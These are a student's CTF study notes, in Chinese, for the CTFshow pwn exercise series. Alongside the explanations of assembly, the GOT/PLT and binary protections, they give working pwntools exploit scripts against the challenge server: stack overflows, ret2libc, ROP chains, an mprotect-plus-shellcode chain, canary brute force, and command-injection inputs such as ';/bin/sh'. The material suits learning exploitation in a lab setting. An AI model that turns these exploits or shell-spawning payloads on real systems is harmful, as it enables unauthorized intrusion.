致谢
- 感谢sq学长、My6n、Ambb1、Claire_cat的笔记
- 感谢sq学长的帮助
pwn入门
Test_your_nc
pwn0【待】

- 通过打开容器后获得命令,在finalshell通过手动输入信息成功ssh连上
- 注意:虚拟机开启NAT模式才能连上,更改模式后重启才生效

- pwd指令查看当前目录
- ls发现当前目录下没东西
- cd /回到上一级目录
- ls发现当前目录下有文件ctfshow_flag
- cat ctfshow_flag得到 flag
pwn1
- chmod 777 pwn给附件加权限
- checksec pwn查看附件信息,64 位

- wp要ida看但其实试运行一遍还有题目都提示nc链接,容器给的命令直接复制黏贴就好了

pwn2
- 加权限-查信息-运行-nc连接-shell输入代码
- system(bin/sh)就是给shell??
pwn4

前置基础
pwn5
- 题目:
- 运行此文件,将得到的字符串以ctfshow{xxxxx}提交。
- 如:运行文件后 输出的内容为 Hello_World
- 提交的flag值为:ctfshow{Hello_World}
- 注:计组原理题型后续的flag中地址字母大写
- 。。我能说我shift+F12出来了吗
下载附件在虚拟机打开
chmod 777 Welcome_to_CTFshow给附件加权限
checksec Welcome_to_CTFshow查看附件信息,32 位,小端
./Welcome_to_CTFshow运行附件,其中%是换行标识
则 flag 为<font style=\”color:rgb(33, 37, 41);\”>ctfshow{Welcome_to_CTFshow_PWN}
还是再来 ida 里分析一下附件,F5反编译程序
系统调用输出 dword_80490E8 地址后的 0x16 个字节,即 22 个字符,点进该地址继续观察,该地址下是十六进制数据 636c6557 ,右键选择(或光标放在该数据上按 R)可以转化为字符串形式,即为 cleW
由于是小端序,0x636c6557的低位 0x57 先输出接着是 0x65………
所以输出为 Welc
再接上后面的内容正好 22 字符


- void __noreturn start(): 这行定义了一个函数 start(),它没有参数,并且声明为不返回任何值。函数名前的 void 表示函数不返回任何值,__noreturn 是一个函数属性,表示该函数不会返回,因此编译器不会生成函数返回的代码。
- int v0; // eax 和 int v1; // eax: 这两行声明了两个整型变量 v0 和 v1,它们用来存储系统调用的返回值。
- v0 = sys_write(1, &dword_80490E8, 0x16u);: 这行调用了 sys_write 系统调用,用于将数据写入文件描述符为 1 的文件(标准输出)。第一个参数 1 表示标准输出文件描述符,第二个参数 &dword_80490E8 是一个字符串的地址,第三个参数 0x16u 表示要写入的字符数量(22个字符)。sys_write 的返回值(成功写入的字符数)被存储在变量 v0 中。
- v1 = sys_exit(0);: 这行调用了 sys_exit 系统调用,用于退出程序。参数 0 表示程序正常退出。sys_exit 函数不会返回,但是在一些编译器中,需要将其返回值存储在一个变量中。这里将其存储在变量 v1 中,但实际上并没有使用这个返回值。
- 我双击的是\x16,应该是因为默认把数据变字符串了,如果没自动变也可以用A快捷键
- dd后为小端序,但db后是字符串
- dd (Define Double-word):把 4 个字节当作“一个整体”
- 类型 :它定义的是一个 32位整数 (Integer) 。
- 受端序影响 :是。
- db (Define Byte):把数据当作“一串独立的字节”
- 类型 :它定义的是 字节数组 (Array of Bytes) 或 字符串 。
- 受端序影响 : 否 。
pwn6
- 立即寻址方式结束后eax寄存器的值为?
- asm文件是汇编文件,可以直接用记事本查看内容
; 立即寻址方式 mov eax, 11 ; 将11赋值给eax add eax, 114504 ; eax加上114504 sub eax, 1 ; eax减去1
|
pwn7
- 寄存器寻址方式结束后edx寄存器的值为?
- 知识点:寄存器寻址方式:指操作数直接为寄存器的寻址方式
; 寄存器寻址方式 mov ebx, 0x36d ; 将0x36d赋值给ebx mov edx, ebx ; 将ebx的值赋值给edx
|
pwn8
; 直接寻址方式 mov ecx, msg ; 将msg的地址赋值给ecx
|

mov ecx, dword ptr aWelcomeToCtfsh
|
- ai分析:
- ecx :这是 目的地。 ecx 是一个 32 位的通用寄存器(Counter Register),这里被用作存放数据的容器。
- dword ptr (Double Word Pointer) :这是 取多少数据 。
- ptr 是指针的意思,指向内存中的某个位置。
- dword (Double Word) 表示 4个字节 (32位)。
- 合起来的意思是: “请去内存里抓取 4 个字节的数据” 。
- aWelcomeToCtfsh :这是源地址 。
- 这只是 IDA Pro 给内存地址起的一个 名字(标签) ,为了让你好记。
- 它代表了字符串 “Welcome_to_CTFshow_PWN” 在内存中存放的 起始地址 。
pwn9
; 寄存器间接寻址方式 mov esi, msg ; 将msg的地址赋值给esi mov eax, [esi] ; 将esi所指向的地址的值赋值给eax
|
- 加了方括号,是告诉处理器要从寄存器 esi 指向的地址中读取数据,因此,这行代码的作用是将 esi 所指向的地址中的数据加载到 eax 寄存器中。
- 知识点:寄存器间接寻址:在寄存器间接寻址中,操作数存放在内存里,而寄存器中存储的是该操作数在内存中的地址,寄存器间接寻址是把这个寄存器中存着的操作数赋值给现在这个第二寄存器
- 豆包:offset dword_80490E8 就是获取变量 dword_80490E8 的偏移地址,在 32 位系统中这个偏移地址就是该变量的实际内存地址。
- esi存储的是这个地址,然后寄存器间接寻址把这个地址的内容0x636C6557拿出来给 eax 了

- 取消定义(Undefine) :
- 按下键盘上的 U 键。
- 这会把当前定义的数据“炸碎”,变成一堆原始的字节(通常显示为 db 且只有单个字节)。
- 重新定义为双字(Make Dword) :
- 确保光标还在 080490E8 这个起始位置。
- 按下键盘上的 D 键。
- 按第一次,它可能变成 db (byte)。
- 按第二次,变成 dw (word)。
- 按第三次 ,它就会变成 dd (dword) 。
此时,原本显示的 ‘Welc’ 就会变成十六进制数值 636C6557h
- 重新回到 ‘Welc’:A
pwn10
; 寄存器相对寻址方式 mov ecx, msg ; 将msg的地址赋值给ecx add ecx, 4 ; 将ecx加上4 mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax
|

pwn11
; 基址变址寻址方式 mov ecx, msg ; 将msg的地址赋值给ecx mov edx, 2 ; 将2赋值给edx mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax
|

pwn12
; 相对基址变址寻址方式 mov ecx, msg ; 将msg的地址赋值给ecx mov edx, 1 ; 将1赋值给edx add ecx, 8 ; 将ecx加上8 mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax
|

内存寻址方式:确定访问内存存储单元偏移地址的方式称为寻址方式。
- 直接寻址:[偏移地址]
- 寄存器间接寻址:[基址寄存器/变址寄存器]
- 寄存器相对寻址:[基址寄存器/变址寄存器+偏移量值]
- 基址变址寻址:[基址寄存器+变址寄存器]
- 相对基址变址寻址:[基址寄存器+变址寄存器+偏移量值]
pwn13

pwn14
echo "CTFshow">key gcc flag.c -o flag ./flag
|
pwn15
nasm -f elf32 XXX.asm -o XXX.o ld -m elf_i386 XXX.o -o XXX gdb XXX run
|
pwn16
gcc -o flag flag.s chmod 777 flag ./flag
|

pwn17
- 有些命令好像有点不一样?
- 不要一直等,可能那样永远也等不到flag
- 超级奇怪我的显示根目录和所有搜到的wp都不一样

- 可以看见只有选项“ls”中存在代码漏洞 system 的参数 dest 可控,我们输入 /bin/sh 就可以获得交互式 shell
- system(dest); 函数会将 dest 所代表的字符串作为系统命令来执行。当用户输入 /bin/sh 时,/bin/sh 会被拼接到 dest 中,然后 system 函数就会执行 /bin/sh 这条命令。在大多数 Unix 或类 Unix 系统中,/bin/sh 是默认的 shell 解释器,执行它就相当于启动了一个 shell 环境,从而让用户获得了交互式 shell,可以执行各种系统命令
直接 cat flag 文件
;cat ctfshow_flag 发现进入死循环,可能是因为输入太长溢出导致的
改为;cat ctf*其中*是通配符,文件名符合这个形式的都会被执行
得到 flag
;/bin/sh拿 shell 权限,再查看 flag
同样得到 flag

pwn18


pwn19
- 查看伪代码,意思是建立了一个fork函数,只要输出不是0即执行if中语句
- 但是输入nc函数后给我了一个shell,这表明直接就跳到了else语句中
- 即fork函数初始值为0
- 知识点:fork函数:fork系统调用用于创建一个新进程,称为子进程,它与进程(称为系统调用fork的进程)同时运行,此进程称为父进程。创建新的子进程后,两个进程将执行fork()系统调用之后的下一条指令。这是一种类似分支派生的概念,它们都运行到相同的地方,但每个进程都将可以开始它们自己的旅程。
- fclose(_bss_start);表明关闭了输出流,与题目吻合
- 先输入/bin/sh进入到那个shell里
- 应该输出流被关闭了,所以要想办法绕过这个输出流
- 通过重定向符>&0可以将命令的输出从默认的 stdout(文件描述符 1)重定向到标准输入 0。
- 终端设备的双向性:
- 在终端环境中,文件描述符 0(标准输入)、1(标准输出)、2(标准错误)均指向同一个终端设备。虽然 stdout 被关闭,但终端设备本身支持读写,因此通过 >&0 将输出写入文件描述符 0 时,仍能显示在终端上。
- 此时输入ls >&0可以展开所有的目录文件
- cat c* >&0:匹配所有以 c 开头的文件(如 catflag),将其内容输出到终端,于是ctfshow答案直接被显示出来了
pwn20
- 题目:
- 提交ctfshow{【.got表与.got.plt是否可写(可写为1,不可写为0)】,【.got的地址】,【.got.plt的地址】}
- 例如 .got可写.got.plt表可写其地址为0x400820 0x8208820
- 最终flag为ctfshow{1_1_0x400820_0x8208820}
- 若某个表不存在,则无需写其对应地址
- 如不存在.got.plt表,则最终flag值为ctfshow{1_0_0x400820}
- 知识点:
- .got
- GOT(Global Offset Table)全局偏移表。这是链接器为外部符号填充的实际偏移表。
- .plt
- PLT(Procedure Linkage Table)程序链接表。作用是一个跳板,保存了某个符号在重定位表中的偏移量(用来第一次查找某个符号)和对应的.got.plt的对应的地址。它有两个功能,要么在.got.plt节中拿到地址,并跳转。要么当.got.plt没有所需地址的时候,触发链接器去找到所需的地址。
- .got.plt
- 这个是GOT专门为PLT准备的节。保存了重定位地址。.got.plt中的值是GOT的一部分。它包含上述PLT表所需地址(已经找到的和需要去触发的)。
- .got和.got.plt是否可写与RELRO(ReLocation Read-Only, 是一种用于加强对 binary 数据段的保护的技术。)有关,这是linux系统下可执行文件的一种保护机制,它用于增强程序的安全性,特别是针对共享库的攻击。RELRO机制通过将部分ELF段标记为只读,防止攻击者利用全局偏移表(GOT)和过程链接表(PLT)进行攻击。规定如下:
当RELRO为Partial RELRO时,表示.got不可写而.got.plt可写。 当RELRO为FullRELRO时,表示.got不可写.got.plt也不可写。 当RELRO为No RELRO时,表示.got与.got.plt都可写。
|





pwn21
- 题目:
- 提交ctfshow{【.got表与.got.plt是否可写(可写为1,不可写为0)】,【.got的地址】,【.got.plt的地址】}
- 例如 .got可写.got.plt表可写其地址为0x400820 0x8208820
- 最终flag为ctfshow{1_1_0x400820_0x8208820}
- 若某个表不存在,则无需写其对应地址
- 如不存在.got.plt表,则最终flag值为ctfshow{1_0_0x400820}
- No canary found


pwn22


pwn23

- 如果
./pwn AAAAA
- argv (Argument Vector) :是一个字符串数组,存放具体的参数内容
- argv[0] = “./pwn” (程序名)
- argv[1] = “AAAAA” (你输入的参数)
- argc = 2:表示命令行参数的总个数


- 这里将我们传进来的参数又复制给了变量dest
- dest 空间是有限的,但是 strcpy 没有被限制长度,只要dest 中放不下参数src,也就是我们运行程序时后面跟的参数够长,就会造成缓冲区溢出,从而导致非法内存访问,既11错误
- 于是执行下面代码

pwn24
- 你可以使用pwntools的shellcraft模块来进行攻击
- Hint : NX disabled & Has RWX segments

- 可以看到多出了一个 RWX: Has RWX segments
- 这意味着二进制文件中存在至少一个段(通常是代码段),它同时拥有读、写、执行权限
from pwn import * context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28234) payload = asm(shellcraft.sh()) p.sendline(payload) p.interactive()
|

pwn25
- 开启NX保护,或许可以试试ret2libc
- NX(或 DEP,Data Execution Prevention)将数据区域(如栈、堆)标记为不可执行,防止攻击者将 shellcode 写入栈/堆后直接跳转执行

- 好像说这题需要知识有点多我后面再来做
- 来了来了嘿嘿嘿

- 噢所以是开启NX保护,动态,所以可以试试ret2libc

from pwn import * from LibcSearcher import * p = remote("pwn.challenge.ctf.show",28264) elf = ELF("./pwn") main = elf.symbols["main"] puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] payload = cyclic(0x88 + 0x4) + p32(puts_plt) + p32(main) + p32(puts_got) p.sendline(payload) puts = u32(p.recvuntil("\xf7")[-4:]) libc = LibcSearcher("puts",puts) libc_base = puts - libc.dump("puts") system = libc_base + libc.dump("system") binsh = libc_base + libc.dump("str_bin_sh") payload = cyclic(0x88 + 0x4) + p32(system) + cyclic(4) + p32(binsh) p.sendline(payload) p.interactive()
|
pwn26
栈溢出
pwn35
pwn36



from pwn import * context.log_level="debug" io=remote("pwn.challenge.ctf.show",28291) padding=0x28+4 backdoor=0x08048586 payload=b"a"*padding+p32(backdoor) io.send(payload) io.interactive()
|

pwn37
- 32位的 system(“/bin/sh”) 后门函数给你


from pwn import * context.log_level="debug" io=remote("pwn.challenge.ctf.show",28200) padding=0x12+4 backdoor=0x08048521 payload=b"a"*padding+p32(backdoor) io.send(payload) io.interactive()
|

pwn38
- 64位的 system(“/bin/sh”) 后门函数给你



- 一种方法

from pwn import * context.log_level = "debug" io=remote("pwn.challenge.ctf.show",28229) padding=0xA+8 backdoor=0x400658 payload=b"a"*padding+p64(backdoor) io.send(payload) io.interactive()
|
- 另一种:多搞一个ret返回地址
- 纯 ret,不改变任何寄存器,只抬 rsp,最安全

- call命令


from pwn import * context.log_level = "debug" io=remote("pwn.challenge.ctf.show",28229) padding=0xA+8 backdoor=0x400657 ret=0x40066D payload=b"a"*padding+p64(ret)+p64(backdoor) io.send(payload) io.interactive()
|
pwn39






- system:080483A0
- /bin/sh:08048750

from pwn import * context.log_level="debug" io=remote("pwn.challenge.ctf.show",28223) padding=0x12+4 system_addr=0x080483A0 binsh=0x08048750 payload=b"a"*padding+p32(system_addr)+p32(0)+p32(binsh) io.send(payload) io.interactive()
|
pwn40
- 好久之前做的,但当时仅复刻wp罢了
- 参考1;参考2;参考3:sq-wp
- 注意:exp.py有基于容器修改点(好蠢的笔记但保留下哈哈哈哈哈)
from pwn import * context.log_level = 'debug' p = remote('152.32.191.198', 33778) payload = b'a'*(0xA+8) + p64(0x4007e3) + p64(0x400808) + p64(0x4004fe) + p64(0x400520) p.sendline(payload) p.interactive()
|
- 按顺序做到这里了哈哈哈哈开心
- 题目:64位的 system(); “/bin/sh”


ROPgadget --binary "pwn" --only "pop|ret"
|

from pwn import * context.log_level="debug" io=remote("pwn.challenge.ctf.show",28294) padding=0xA+8 systemaddr=0x0400520 pop_rdi=0x004007e3 ret=0x004004fe binsh=0x0400808 payload=b"a"*padding+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(systemaddr) io.send(payload) io.interactive()
|
pwn41+42
- 32/64位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代

pwn43
- 32位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法




- 栈溢出
- padding=0x6C+4
- get_addr=08048420

- 反正就是x加上shift+F12一通乱找找到_system在左边的就是
- system=0x08048450


gdb pwn43 break main run vmmap
|

- 只看file是文件pwn的,0x804b000-c000可写


from pwn import * context.log_level="debug" io=remote("pwn.challenge.ctf.show",28299)
padding=0x6C+4 get_addr=0x08048420 system=0x08048450 buf2=0x0804B060
payload=b"a"*padding+p32(get_addr)+p32(system)+p32(buf2)+p32(buf2)
io.sendline(payload) io.sendline("/bin/sh") io.interactive()
|
pwn44
- 64位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法


ROPgadget --binary "pwn" --only "pop|ret"
|

- pop_rdi=0x00000000004007f3
- ret=0x00000000004004fe





from pwn import * context.log_level="debug" io=remote("pwn.challenge.ctf.show",28302)
padding=0xA+8 get=0x00400530 system=0x00400520 buf2=0x00602080 pop_rdi=0x00000000004007f3 ret=0x00000000004004fe
payload=b"a"*padding+p64(pop_rdi)+p64(buf2)+p64(ret)+p64(get)+p64(pop_rdi)+p64(buf2)+p64(ret)+p64(system)
io.sendline(payload) io.sendline("/bin/sh") io.interactive()
|
pwn45

- 开启 NX 保护,部分开启 RELRO 保护
- 没有system没有/bin/sh的时候就要puts泄露libc
- 得到puts的实际地址只需要两样东西:puts_plt和puts_got
当puts被调用时,puts_plt会把puts函数的地址储存在puts_got中,所以直接把puts_got作为puts_plt的参数使用,puts函数就会把自己的函数地址打印出来
from pwn import * from LibcSearcher import *
p = remote("pwn.challenge.ctf.show",28151) elf = ELF("./pwn")
main = elf.symbols["main"] puts_plt = elf.plt["puts"] puts_got = elf.got["puts"]
payload = cyclic(0x6B + 0x4) + p32(puts_plt) + p32(main) + p32(puts_got)
p.sendline(payload)
puts = u32(p.recvuntil("\xf7")[-4:])
libc = LibcSearcher("puts",puts)
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system") binsh = libc_base + libc.dump("str_bin_sh")
payload = cyclic(0x6B + 0x4) + p32(system) + cyclic(4) + p32(binsh)
p.sendline(payload) p.interactive()
|
pwn46

ROPgadget --binary "pwn" --only "pop|ret"

from pwn import * from LibcSearcher import * p = remote("pwn.challenge.ctf.show",28205) elf = ELF("./pwn") main = elf.symbols["main"] puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] padding = 0x70+8 rdi = 0x0000000000400803 ret = 0x00000000004004fe
payload = b"a"*padding + p64(rdi) + p64(puts_got) + p64(ret) * 2 + p64(puts_plt) + p64(main)
p.sendline(payload) puts = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc = LibcSearcher("puts",puts)
libc_base = puts - libc.dump("puts") system = libc_base + libc.dump("system") binsh = libc_base + libc.dump("str_bin_sh")
payload = b"a"*padding + p64(rdi) + p64(binsh) + p64(ret) + p64(system)
p.sendline(payload) p.interactive()
|
- LibcSearcher 找到了多个匹配的 libc 版本,需要手动选择

pwn47

from pwn import * from LibcSearcher import * p = remote("pwn.challenge.ctf.show",28177) elf = ELF("./pwn") main = elf.symbols["main"] puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] payload = cyclic(0x9C + 0x4) + p32(puts_plt) + p32(main) + p32(puts_got) p.sendline(payload) puts = u32(p.recvuntil("\xf7")[-4:]) libc = LibcSearcher("puts",puts) libc_base = puts - libc.dump("puts") system = libc_base + libc.dump("system") binsh = libc_base + libc.dump("str_bin_sh") payload = cyclic(0x9C + 0x4) + p32(system) + cyclic(4) + p32(binsh) p.sendline(payload) p.interactive()
|
- 和pwn45无区别,就是多给了bin/sh,只要把脚本端口和padding改下就好
pwn48
和上一题除了溢出大小就是一模一样…
pwn49
- 静态编译?或许你可以找找mprotect函数
- 动态/静态编译判断:
- ida
- shift+F11
- imports 超多 libc 函数 → 动态
- imports 几乎为空 → 静态
- file
- statically linked:静态
- dynamically linked + interpreter /lib/ld-linux.so.2:动态
- checksec(本质上是通过一些检测机制来判断是否存在某种保护,这个检测机制有些时候是会有误报的)

- ida里按shift+F7(可能9.0后换版本所以和大佬的不大一样)



修改权限
又知道这一题让我们用mprotect(主要是一个拿来改保护属性的函数),既然能构造栈溢出了,那么mprotect可以给我们可写可读可执行的(7)能力,我们就能直接打shellcode了
先搜一下这个函数

三个参数分别对应开头地址、长度、修改的保护属性数字(0-7)
ctrl+s调出程序的段表
- 又和大佬快捷键不一样:在 IDA 里你贴出来的窗口是 “Segments”(段)窗口,打开它的快捷键是:Shift + F7
- 前面哪道题用过来着

选择.got.plt作为更改的程序
因为这个.got.plt在程序加载时的地址是固定的(静态链接时确定)。攻击者可以提前知道目标函数(如 printf)的 GOT 条目在内存中的确切位置,这比在堆栈上寻找动态变化的地址要容易得多。
同时我们劫持 .got.plt后,不需要复杂的操作来触发执行流转向。你只需要等待程序正常地调用被你覆盖的那个库函数,劫持就会自动发生。
以这个会作为mprotect的第一个参数地址,got_plt=0x080DA000
然后长度我们写个0x1000,保证能写即可
最后保护属性当然是0x7了
这边注意我们要传三个参数,必须用一下pop寄存器,否则执行完这个函数会直接回到栈顶,无法读取三个参数


ROPgadget --binary pwn --only "pop|ret" | grep "pop edi ; pop esi ; pop ebx ; ret" >>> 0x08061c3b : pop edi ; pop esi ; pop ebx ; ret
|
读写执行
我们选一个read函数
read函数也是三个参数,所以需要再次调用pop那仨
read的三个参数分别代表着fd、buf、size

read地址:0x0806BEE0
pop地址:0x08056194
fd直接0读取就行
buf得是刚刚写的地方0x80DA000(.got.plt)
size就是大小,无所谓随便填大点就是了
于是我们可以构造payload:
- 首先栈溢出、然后跳到mprotect的位置,接下来返回pop三个寄存器,然后把三个参数填入,成功修改0x80DA000地址的保护属性,可以写了
- 然后我们去读取一下这个地方的内容,直接read,pop然后三个参数fd、buf,size,最后返回buf的地方
- 现在程序会读这个地了,我们就需要构造shellcode传进去了
- 这反而是最简单的一步了,我们只需要直接shellcode=asm(shellcraft.sh())就完事了
from pwn import * context(os = 'linux', arch = 'i386', log_level = 'debug') io=remote("pwn.challenge.ctf.show",28121)
padding=0x12+4 mprotect_addr=0x0806CDD0 pop_3=0x008061C3B got_plt=0x080DA000 size=0x1000 prot=0x7
read_addr=0x0806BEE0 fd=0
shellcode=asm(shellcraft.sh())
payload =b"a"*padding+p32(mprotect_addr)+p32(pop_3)+p32(got_plt)+p32(size)+p32(prot) payload+=p32(read_addr)+p32(pop_3)+p32(fd)+p32(got_plt)+p32(size)+p32(got_plt)
io.sendline(payload) io.sendline(shellcode)
io.interactive()
|
pwn50
- 好像哪里不一样了
- 远程libc环境 Ubuntu 18


- 回顾一下:NX(或 DEP,Data Execution Prevention)将数据区域(如栈、堆)标记为不可执行,防止攻击者将 shellcode 写入栈/堆后直接跳转执行
- 所以NX→找pop_rdi:
ROPgadget --binary "pwn" --only "pop|ret"
|

- pop_rdi=0x00000000004007e3
- ret=0x00000000004004fe


from pwn import * from LibcSearcher import * p = remote("pwn.challenge.ctf.show",28115) elf = ELF("./pwn") main = elf.symbols["main"] puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] padding = 0x20+8 rdi=0x00000000004007e3 ret=0x00000000004004fe
payload = b"a"*padding + p64(rdi) + p64(puts_got) + p64(ret) * 2 + p64(puts_plt) + p64(main)
p.sendline(payload) puts = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc = LibcSearcher("puts",puts)
libc_base = puts - libc.dump("puts") system = libc_base + libc.dump("system") binsh = libc_base + libc.dump("str_bin_sh")
payload = b"a"*padding + p64(rdi) + p64(binsh) + p64(ret) + p64(system)
p.sendline(payload) p.interactive()
|

pwn51
- I‘m IronMan
- nc pwn.challenge.ctf.show 28170





- 字符串搜flag
- 因为是system+cat…所以不能是平常_system的位置
from pwn import * context.log_level="debug" io=remote("pwn.challenge.ctf.show",28170) system=0x0804902E padding=0x6c+4 payload=b"I"*padding+p32(system)
io.sendline(payload) io.interactive()
|
pwn52




from pwn import * context.log_level="debug" io=remote("pwn.challenge.ctf.show",28266)
padding=0x6C+4 flag_addr=0x08048586
payload=b"a"*padding+p32(flag_addr)+p32(0)+p32(876)+p32(877)
io.sendline(payload) io.interactive()
|
pwn53

- memcmp() 是 C 标准库中的一个函数,用于比较两个内存块的前 n 个字节。它的声明如下:
int memcmp(const void *str1, const void *str2, size_t n);
- 参数:
- str1:指向第一个内存块的指针。
- str2:指向第二个内存块的指针。
- n:要比较的字节数。
- 返回值:
- 如果返回值 < 0,则表示 str1 小于 str2。
- 如果返回值 > 0,则表示 str1 大于 str2。
- 如果返回值 = 0,则表示 str1 等于 str2。

虽然没有开canary但是本题在ida打开看见他是模拟了canary的效果,不同的是他的是固定的canary,但是一样要爆破
在ctfshow函数我们发现v5=0,那么我们只要不输入回车(acii:10)可以一直往数组里面写入数据,然后它会把v2变成无符号形整数,
作为读入到buf的无符号类型的字节长度,那么我们可以输入-1来进行绕过,之后就是一直循环爆破canary了exp如下

from pwn import * p = remote("pwn.challenge.ctf.show",28299) canary = b'' for i in range(4): for guess in range(256): p = remote("pwn.challenge.ctf.show",28299) p.sendlineafter('>','200') payload = cyclic(0x30 - 0x10) + canary + p8(guess) p.sendafter('$ ',payload) answer = str(p.recv())
if "Canary Value Incorrect!" not in answer: canary += p8(guess) break else: p.close() p = remote('pwn.challenge.ctf.show',28299) elf = ELF('./pwn') flag = elf.sym['flag'] payload = cyclic(0x30 - 0x10) + canary + p32(0)*4 + p32(flag) p.sendlineafter('>','-1') p.sendafter('$ ',payload) p.interactive()
|
pwn54

- 32位+后门函数
- 但是后门函数调用有条件,直接尝试满足条件
- strcmp函数
- puts函数会输出数组直到遇到
\0,寻找方向是从内存低地址到高地址,在ida中显示为向下

- 利用内存存储位置相连和puts特性输出密码
- 把v5塞满,比如输入256个’a’

from pwn import * from pwn import p8,p16,p32,p64,u32,u64 io = remote("pwn.challenge.ctf.show",28293) payload = b'a'*256 io.sendlineafter(b'Username:',payload) io.recvuntil(b',') password = io.recv() print(f'password is {password.decode()}') io.close() io = remote("pwn.challenge.ctf.show",28293) io.sendlineafter(b'Username:',b'666') io.sendline(password) io.interactive()
|
pwn55




-
调用并输入指定参数
-
下面这个是meiyouqian学长的脚本
from pwn import * context.log_level="debug" io=remote("pwn.challenge.ctf.show",28236) flag1=0x08048586 flag2=0x0804859D flag=0x8048606 padding=0x2C+4 payload=b"a"*padding+p32(flag1)+p32(flag2)+p32(flag)+p32(0xACACACAC)+p32(0xBDBDBDBD) io.sendline(payload) io.interactive()
|
- 这里主要利用:
- 每当一个函数通过 ret 被调用,栈顶(ESP)就会向上移动 4 个字节
- 函数地址后依次视为:返回地址、第一个参数、第二个参数…
改进点:
elf = ELF('./pwn') ... flag1_addr = elf.sym['flag_func1'] flag2_addr = elf.sym['flag_func2'] flag_addr = elf.sym['flag']
payload = flat([cyclic(padding),flag1_addr,flag2_addr,flag_addr,-1397969748,-1111638595])
|
瞎联想:
from pwn import *
elf = ELF('./pwn')
pop_ret = 0x0804xxxx pop_pop_ret = 0x0804yyyy
padding = 0x2C + 4
payload = flat([ cyclic(padding), elf.sym['func1'], pop_ret, 0xAAAA,
elf.sym['func2'], pop_pop_ret, 0xBBBB, 0xCCCC,
elf.sym['flag'], 0xdeadbeef, 0xDDDD ])
|
- 如果64位呢?
- 在 32 位中,你只需要考虑栈的顺序。但在 64 位(Linux 环境下常用的 System V AMD64 ABI 约定)中,函数的前 6 个参数必须依次放入以下寄存器:
RDI (第一个参数) RSI (第二个参数) RDX (第三个参数) RCX (第四个参数) R8 (第五个参数) R9 (第六个参数)
|
- 只有当参数超过 6 个时,才会开始使用栈传参。
- Payload 构造顺序: padding + p64(pop_rdi_ret) + p64(arg1) + p64(pop_rsi_ret) + p64(arg2) + p64(func)
- 逻辑:
- 先用 pop rdi 把 arg1 填好。
- 再用 pop rsi 把 arg2 填好。
- 最后 ret 到 func 执行。
- 特殊情况:复合 Gadget
- 如果你运气好,找到了一个 pop rdi; pop rsi; ret 这样的连在一起的指令,Payload 会更短: padding + p64(pop_rdi_rsi_ret) + p64(arg1) + p64(arg2) + p64(func)
payload = flat([ b'A' * padding, p64(pop_rdi_ret), 0x111, p64(elf.sym['func1']), p64(pop_rdi_ret), 0x222, p64(pop_rsi_ret), 0x333, p64(elf.sym['func2']) ])
|
- 利用 Pwntools ROP 模块自动连接!!!!
- 64位
from pwn import *
elf = ELF('./pwn') rop = ROP(elf)
rop.func1(0x111) rop.func2(0x222, 0x333) rop.system(next(elf.search(b'/bin/sh')))
print(rop.dump())
payload = b'A' * padding + rop.chain()
|
from pwn import *
elf = ELF('./pwn') rop = ROP(elf)
padding_size = 0x2C + 4
rop.func1(0x111) rop.func2(0x222, 0x333)
bin_sh = next(elf.search(b'/bin/sh')) rop.system(bin_sh)
print("--- 自动生成的 32 位 ROP 链布局 ---") print(rop.dump())
payload = b'A' * padding_size + rop.chain()
|
from pwn import * context.log_level="debug" io=remote("pwn.challenge.ctf.show",28209)
elf = ELF('./pwn') rop = ROP(elf) padding=0x2C+4
rop.flag_func1() rop.flag_func2(0xACACACAC) rop.flag(0xBDBDBDBD)
print("--- 自动生成的 32 位 ROP 链布局 ---") print(rop.dump())
payload = b'A' * padding + rop.chain() io.sendline(payload) io.interactive()
|
pwn56


- 为什么是反着压栈?(栈的 LIFO 特性)
在 x86 架构中,栈是 向下增长 的(从高地址向低地址增长),而数据读取通常是从 低地址向高地址 进行的。
- 为什么要写成 /bin///sh?(避免空字节 Null Bytes)
在很多溢出漏洞(如 strcpy 引起的溢出)中,00 (Null Byte) 会截断字符串,导致你的 Payload 无法完整注入。
- 标准的 /bin/sh 只有 7 个字符。如果直接压栈,编译器会自动补 00 来凑齐 4 字节的倍数(dword),这会产生空字节。
- 黑客技巧:Linux 的路径解析器会自动忽略多余的斜杠。/bin/sh 等同于 /bin//sh 也等同于 /bin///sh。
- 通过增加斜杠,将字符串长度凑成 4 的倍数
- 为什么:00 (Null Byte) 会截断字符串
- 在 C 语言中,并没有专门的“字符串”基本类型,字符串本质上是一个 字符数组 (char[])。为了让程序知道这个字符串在哪里结束,C 语言约定使用 0x00(ASCII 码中的 NULL 字符) 作为结束标志
- 绝大多数常用的字符串处理函数(如 strcpy, strlen, printf, gets, scanf 等)都是基于“扫描到 0x00 为止”的逻辑编写的
- 为什么分开/bin///sh
- push ‘h’:在汇编中,push 0x68 的机器码是 6A 68。这只有两个字节,完全不含 00。
- 如果直接 push “/bin/sh”,机器码里必然会出现大量 00
- mov ebx, esp:确定“靶点”
- esp 始终指向栈顶。在执行完三次 push 后,esp 恰好指向了字符串 /bin///sh 的开头(即字符 /)。
- execve 的第一个参数(存储在 ebx 中)需要一个 指向文件路径字符串的指针。
- 所以执行 mov ebx, esp,就是把当前字符串在内存中的地址交给了 ebx。
- push 0Bh; pop eax:寻找系统功能号
- 查阅 Linux x86 Syscall Table。
- 找到 sys_execve(用于执行程序的系统调用),它的系统调用号是 11。
- 十六进制中,11 就是 0xB。
- 避坑分析:为什么不直接用 mov eax, 0Bh?因为 mov eax, 11 的机器码是 B8 0B 00 00 00,含有大量空字节。而 push 0Bh; pop eax 的机器码是 6A 0B 58,非常精简且无空字节。
pwn57
